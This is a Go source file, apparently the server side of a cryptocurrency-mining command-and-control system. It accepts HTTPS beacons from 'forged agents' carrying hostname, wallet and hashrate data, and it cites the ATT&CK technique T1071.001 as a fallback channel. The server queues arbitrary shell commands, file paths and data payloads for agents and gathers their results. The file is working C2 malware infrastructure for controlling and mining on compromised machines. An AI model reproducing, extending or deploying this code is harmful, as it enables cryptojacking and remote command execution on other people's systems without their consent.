package api

import (
	"encoding/json"
	"net/http"
	"strings"
	"time"

	"crypto-miner-server/internal/models"
)

const beaconReachableWindow = 90 * time.Second

// BeaconCommand is delivered to agents on HTTPS beacon when WebSocket is down.
type BeaconCommand struct {
	Action    string `json:"action"`
	TailLines int    `json:"tail_lines,omitempty"`
	Command   string `json:"command,omitempty"`
	Path      string `json:"path,omitempty"`
	Data      string `json:"data,omitempty"`
}

type beaconRequest struct {
	AgentID  string          `json:"agent_id"`
	Stats    json.RawMessage `json:"stats,omitempty"`
	Hostname string          `json:"hostname,omitempty"`
	Wallet   string          `json:"wallet,omitempty"`
	Worker   string          `json:"worker_name,omitempty"`
	Version  string          `json:"version,omitempty"`
}

type beaconResponse struct {
	OK       bool            `json:"ok"`
	Commands []BeaconCommand `json:"commands"`
}

type beaconResultRequest struct {
	AgentID string `json:"agent_id"`
	Action  string `json:"action"`
	Success bool   `json:"success"`
	Message string `json:"message"`
}

func (h *WSHub) initBeaconMaps() {
	h.beaconMu.Lock()
	defer h.beaconMu.Unlock()
	if h.beaconLastSeen == nil {
		h.beaconLastSeen = make(map[string]time.Time)
	}
	if h.beaconCmdQueue == nil {
		h.beaconCmdQueue = make(map[string][]BeaconCommand)
	}
}

// MarkBeaconSeen records a successful HTTPS beacon from an agent.
func (h *WSHub) MarkBeaconSeen(agentID string) {
	h.initBeaconMaps()
	h.beaconMu.Lock()
	h.beaconLastSeen[agentID] = time.Now()
	h.beaconMu.Unlock()
}

// ClearBeaconTransport clears HTTPS-beacon state when the agent reconnects over WebSocket.
func (h *WSHub) ClearBeaconTransport(agentID string) {
	h.initBeaconMaps()
	h.beaconMu.Lock()
	delete(h.beaconLastSeen, agentID)
	delete(h.beaconCmdQueue, agentID)
	h.beaconMu.Unlock()
}

func (h *WSHub) isAgentBeaconReachable(agentID string) bool {
	h.initBeaconMaps()
	h.beaconMu.Lock()
	last, ok := h.beaconLastSeen[agentID]
	h.beaconMu.Unlock()
	return ok && time.Since(last) <= beaconReachableWindow
}

// IsAgentReachable returns true if the agent has an active WebSocket or recent HTTPS beacon.
func (h *WSHub) IsAgentReachable(agentID string) bool {
	return h.isAgentConnected(agentID) || h.isAgentBeaconReachable(agentID)
}

// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
	if !h.isAgentBeaconReachable(agentID) {
		return false
	}
	cmd := BeaconCommand{Action: action}
	if v, ok := args["tail_lines"]; ok {
		switch n := v.(type) {
		case int:
			cmd.TailLines = n
		case float64:
			cmd.TailLines = int(n)
		}
	}
	if v, ok := args["command"].(string); ok {
		cmd.Command = v
	}
	if v, ok := args["path"].(string); ok {
		cmd.Path = v
	}
	if v, ok := args["data"].(string); ok {
		cmd.Data = v
	}
	h.initBeaconMaps()
	h.beaconMu.Lock()
	h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
	h.beaconMu.Unlock()
	return true
}

func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
	h.initBeaconMaps()
	h.beaconMu.Lock()
	cmds := h.beaconCmdQueue[agentID]
	delete(h.beaconCmdQueue, agentID)
	h.beaconMu.Unlock()
	if cmds == nil {
		return []BeaconCommand{}
	}
	return cmds
}

func (h *WSHub) applyBeaconStats(agentID string, statsJSON json.RawMessage) {
	if h.db == nil || len(statsJSON) == 0 {
		return
	}
	var stats struct {
		Hashrate15s     float64 `json:"hashrate_15s"`
		Hashrate1m      float64 `json:"hashrate_1m"`
		Hashrate15m     float64 `json:"hashrate_15m"`
		SharesSubmitted int     `json:"shares_submitted"`
		SharesAccepted  int     `json:"shares_accepted"`
		CPUUsagePct     float64 `json:"cpu_usage_pct"`
		MemoryUsagePct  float64 `json:"memory_usage_pct"`
		UptimeSeconds   int     `json:"uptime_seconds"`
		GPUMinerActive  *bool   `json:"gpu_miner_active,omitempty"`
		GPUHashrate15m  float64 `json:"gpu_hashrate_15m,omitempty"`
		GPUModel        string  `json:"gpu_model,omitempty"`
	}
	if err := json.Unmarshal(statsJSON, &stats); err != nil {
		return
	}
	sharesBad := stats.SharesSubmitted - stats.SharesAccepted
	if sharesBad < 0 {
		sharesBad = 0
	}
	_ = h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
		stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
		stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
	gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
	_ = h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
	_ = h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
	h.broadcastDashboard(Message{
		Type: "stats",
		Payload: mustMarshal(map[string]interface{}{
			"agent_id":         agentID,
			"hashrate_15s":     stats.Hashrate15s,
			"hashrate_1m":      stats.Hashrate1m,
			"hashrate_15m":     stats.Hashrate15m,
			"cpu_usage_pct":    stats.CPUUsagePct,
			"memory_usage_pct": stats.MemoryUsagePct,
			"uptime_seconds":   stats.UptimeSeconds,
			"shares_submitted": stats.SharesSubmitted,
			"shares_accepted":  stats.SharesAccepted,
			"transport":        "https_beacon",
		}),
	})
}

// HandleAgentBeacon accepts periodic HTTPS beacons from forged agents (T1071.001 fallback).
func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
		return
	}
	var req beaconRequest
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		http.Error(w, "invalid JSON", http.StatusBadRequest)
		return
	}
	agentID := strings.TrimSpace(req.AgentID)
	if agentID == "" {
		http.Error(w, "agent_id is required", http.StatusBadRequest)
		return
	}

	h.MarkBeaconSeen(agentID)
	if h.db != nil {
		if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
			display := req.Hostname
			if display == "" {
				display = agentID
			}
			_ = h.db.UpsertAgent(&models.Agent{
				ID:      agentID,
				Name:    display,
				Wallet:  req.Wallet,
				Version: req.Version,
				Status:  "online",
			})
		}
	}
	h.applyBeaconStats(agentID, req.Stats)
	cmds := h.dequeueBeaconCommands(agentID)
	writeJSON(w, beaconResponse{OK: true, Commands: cmds})
}

// HandleAgentBeaconResult receives command results from HTTPS beacon agents.
func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
		return
	}
	var req beaconResultRequest
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		http.Error(w, "invalid JSON", http.StatusBadRequest)
		return
	}
	agentID := strings.TrimSpace(req.AgentID)
	if agentID == "" || req.Action == "" {
		http.Error(w, "agent_id and action are required", http.StatusBadRequest)
		return
	}
	h.MarkBeaconSeen(agentID)
	payload := map[string]interface{}{
		"agent_id": agentID,
		"action":   req.Action,
		"success":  req.Success,
		"message":  req.Message,
		"transport": "https_beacon",
	}
	h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
	h.notifyCmdCallback(agentID, req.Action, payload)
	writeJSON(w, map[string]interface{}{"ok": true})
}

// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
	cmds := h.dequeueBeaconCommands(agentID)
	for _, cmd := range cmds {
		args := map[string]interface{}{}
		if cmd.TailLines > 0 {
			args["tail_lines"] = cmd.TailLines
		}
		if cmd.Command != "" {
			args["command"] = cmd.Command
		}
		if cmd.Path != "" {
			args["path"] = cmd.Path
		}
		if cmd.Data != "" {
			args["data"] = cmd.Data
		}
		_ = h.SendAgentCommand(agentID, cmd.Action, args)
	}
}
